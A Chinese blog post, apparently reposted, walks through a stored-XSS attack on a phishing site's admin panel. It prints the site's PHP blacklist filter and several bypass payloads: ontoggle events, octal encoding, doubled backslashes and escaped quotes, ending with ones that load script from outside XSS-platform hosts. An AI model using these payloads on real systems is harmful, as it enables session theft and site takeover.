攻破黑市最流行的钓鱼网站

这种类型的钓鱼网站最少有上百个了~ 
我风在指尖今天要为民除害~~~


自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究

钓鱼站是这样的
 

看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS 
过滤xss 脚本如下

[AppleScript]  纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
< ?PHP
function RemoveXSS ( $val ) {
               / / = = = = = = = = = = = = = = = = = = = = = = = = = = / /
             / /                          / /
             / / 随风 程序开发 QQ 957223651 / /
             / /      此类用来防止XSS     / /
             / / = = = = = = = = = = = = = = = = = = = = = = = = = = / /
 
    $val = preg_replace ( ' / ( [\x 00 - \x 08 , \x 0 b - \x 0 c , \x 0 e - \x 19 ] ) / ' , '' , $val ) ;
    $search = 'abcdefghijklmnopqrstuvwxyz';
    $search . = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $search . = ' 1234567890 !@ #$%^&*()';
    $search . = '~`"; : ? + / = { } [] - _|\'\\';
    for ( $i = 0 ; $i < strlen ( $search ) ; $i + + ) {
       $val = preg_replace ( ' / ( & #[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
       $val = preg_replace ( ' / ( { 0 , 8 } '.ord ( $search[$i] ) .';? ) / ' , $search[$i] , $val ) ;
    }
    $ra 1 = Array ( 'javascript' , 'vbscript' , 'expression' , 'applet' , 'meta' , 'xml' , 'blink' , 'link' , 'style' , ' script ' , 'embed' , 'object' , 'iframe' , 'frame' , 'frameset' , 'ilayer' , 'layer' , 'bgsound' , ' title ' , 'base' ) ;
    $ra 2 = Array ( 'onabort' , 'onactivate' , 'onafterprint' , 'onafterupdate' , 'onbeforeactivate' , 'onbeforecopy' , 'onbeforecut' , 'onbeforedeactivate' , 'onbeforeeditfocus' , 'onbeforepaste' , 'onbeforeprint' , 'onbeforeunload' , 'onbeforeupdate' , 'onblur' , 'onbounce' , 'oncellchange' , 'onchange' , 'onclick' , 'oncontextmenu' , 'oncontrolselect' , 'oncopy' , 'oncut' , 'ondataavailable' , 'ondatasetchanged' , 'ondatasetcomplete' , 'ondblclick' , 'ondeactivate' , 'ondrag' , 'ondragend' , 'ondragenter' , 'ondragleave' , 'ondragover' , 'ondragstart' , 'ondrop' , 'onerror' , 'onerrorupdate' , 'onfilterchange' , 'onfinish' , 'onfocus' , 'onfocusin' , 'onfocusout' , 'onhelp' , 'onkeydown' , 'onkeypress' , 'onkeyup' , 'onlayoutcomplete' , 'onload' , 'onlosecapture' , 'onmousedown' , 'onmouseenter' , 'onmouseleave' , 'onmousemove' , 'onmouseout' , 'onmouseover' , 'onmouseup' , 'onmousewheel' , 'onmove' , 'onmoveend' , 'onmovestart' , 'onpaste' , 'onpropertychange' , 'onreadystatechange' , 'onreset' , 'onresize' , 'onresizeend' , 'onresizestart' , 'onrowenter' , 'onrowexit' , 'onrowsdelete' , 'onrowsinserted' , 'onscroll' , 'onselect' , 'onselectionchange' , 'onselectstart' , 'onstart' , 'onstop' , 'onsubmit' , 'onunload' ) ;
    $ra = array_merge ( $ra 1 , $ra 2 ) ;
 
    $found = true ;
    while ( $found = = true ) {
       $val_before = $val;
       for ( $i = 0 ; $i < sizeof ( $ra ) ; $i + + ) {
          $pattern = ' / ';
          for ( $j = 0 ; $j < strlen ( $ra[$i] ) ; $j + + ) {
             if ( $j > 0 ) {
                $pattern . = ' ( ';
                $pattern . = ' ( & #[xX]0{0,8}([9ab]);)';
                $pattern . = '|';
                $pattern . = '| ( & #{0,8}([9|10|13]);)';
                $pattern . = ' ) * ';
             }
             $pattern . = $ra[$i][$j];
          }
          $pattern . = ' / i';
          $replacement = substr ( $ra[$i] , 0 , 2 ) .' < x > '.substr ( $ra[$i] , 2 ) ;
          $val = preg_replace ( $pattern , $replacement , $val ) ;
          if ( $val_before = = $val ) {
             $found = false ;
          }
       }
    }
    return $val;
}
 
? >




我们可以看到,能过滤的事件基本上都被对方过滤了
 


但是,像这种黑名单肯定都有不完善的地方 没错
<details open="" οntοggle=alert``> 他没有过滤 ontoggle事件 并且也没过滤eval函数 那么我们可以构造恶意代码 最常用的的写上




[AppleScript]  纯文本查看 复制代码
?
1
< / TD > < details open ontoggle = eval ( "\141\154\145\162\164\140\140" ) >
</Td> 是闭合标签, 这里我们用了js8编码 \141\154\145\162\164\140\140 就是 alert``  转换后的代码 放入到对面查看试试  然后我们伪造成被钓鱼者,在钓鱼页面提交数据,把我们的payload插入到对方的 p12345变量中



然后我们进入到后台查看,却没有弹窗,这是为什么呢?



对其->右击->使用 firebug 查看元素  看看为什么不能弹窗





对比查看
完整的代码        
[AppleScript]  纯文本查看 复制代码
?
1
< / TD > < details open ontoggle = eval ( "\141\154\145\162\164\140\140" ) >
过滤后的代码
[AppleScript]  纯文本查看 复制代码
?
1
< details open = "" 141154145162164140140 ")" >  < / details >



\ 过滤了  那么我们加两重绕过试试        
[AppleScript]  纯文本查看 复制代码
?
1
< / TD > < details open ontoggle = eval ( "\\141\\154\\145\\162\\164\\140\\140" ) >
这段代码插进去试试看
 进入后台
 
成功弹窗,现在我们可以尝试  引用自己站点的代码了 。。。。。。。。。。。。。。。 




源代码应该为
[AppleScript]  纯文本查看 复制代码
?
1
< / TD > < details open ontoggle = eval ( var s = document .createElement ( ' script ' ) ;s.src = 'http : / / xss.tv / XA'; document .body.appendChild ( s ) ; ) >




直接放上去是不行的,我们要对其编码,使用JS8编码
[AppleScript]  纯文本查看 复制代码
?
1
< / TD > < details open ontoggle = eval ( "\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73" ) >





然后把\改成\\ 绕过对方的过滤规则



[AppleScript]  纯文本查看 复制代码
?
1
< / TD > < details open ontoggle = eval ( "\\166\\141\\162\\40\\163\\75\\144\\157\\143\\165\\155\\145\\156\\164\\56\\143\\162\\145\\141\\164\\145\\105\\154\\145\\155\\145\\156\\164\\50\\47\\163\\143\\162\\151\\160\\164\\47\\51\\73\\163\\56\\163\\162\\143\\75\\47\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\56\\164\\166\\57\\130\\101\\47\\73\\144\\157\\143\\165\\155\\145\\156\\164\\56\\142\\157\\144\\171\\56\\141\\160\\160\\145\\156\\144\\103\\150\\151\\154\\144\\50\\163\\51\\73" ) >





但是当我放上去的时候,并没有写到数据库,也就是说把  我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入



那么只能不断的裁剪,不编码 最终代码为
[AppleScript]  纯文本查看 复制代码
?
1
< details open ontoggle = document .body.appendChild ( document .createElement ( "scr" + "ipt" ) ) .src = "http://www.baidu.com" >



“ 是闭合掉前面的标签


<details open οntοggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com"> 是引用我们XSS站点的代码,对方没有过滤doucmnet,只过滤了script
现在我们插入试试



依然没有成功执行,在继续看看对方的源码



将其复制出来,看看到底是什么原因




首先script标签被打乱了,并且多了个” 号,这很好绕过



前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码


我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则



[AppleScript]  纯文本查看 复制代码
?
1
" < details / open / ontoggle = document .body.appendChild ( document .createElement ( '\\ 163 \\ 143 \\ 162 \\ 151 \\ 160 \\ 164 ' ) ) .src = 'http : / / www.baidu.com' >
script转换成JS8进制编码
把所有的” 号换成’ 号
 




这样构造



结果后台没有存储任何数据




后来经过别人指点才知道,   默认输入’单引号会被过滤,我们只能在’单引号前面加上\



最终的代码就是



[AppleScript]  纯文本查看 复制代码
?
1
" < details / open / ontoggle = document .body.appendChild ( document .createElement ( \'\\ 163 \\ 143 \\ 162 \\ 151 \\ 160 \\ 164 \' ) ) .src = \'http : / / xss.sssie.com / FMD 27 h\' >



然后自己进入后台查看~
 

转载于:https://www.cnblogs.com/ichunqiu/p/7262799.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值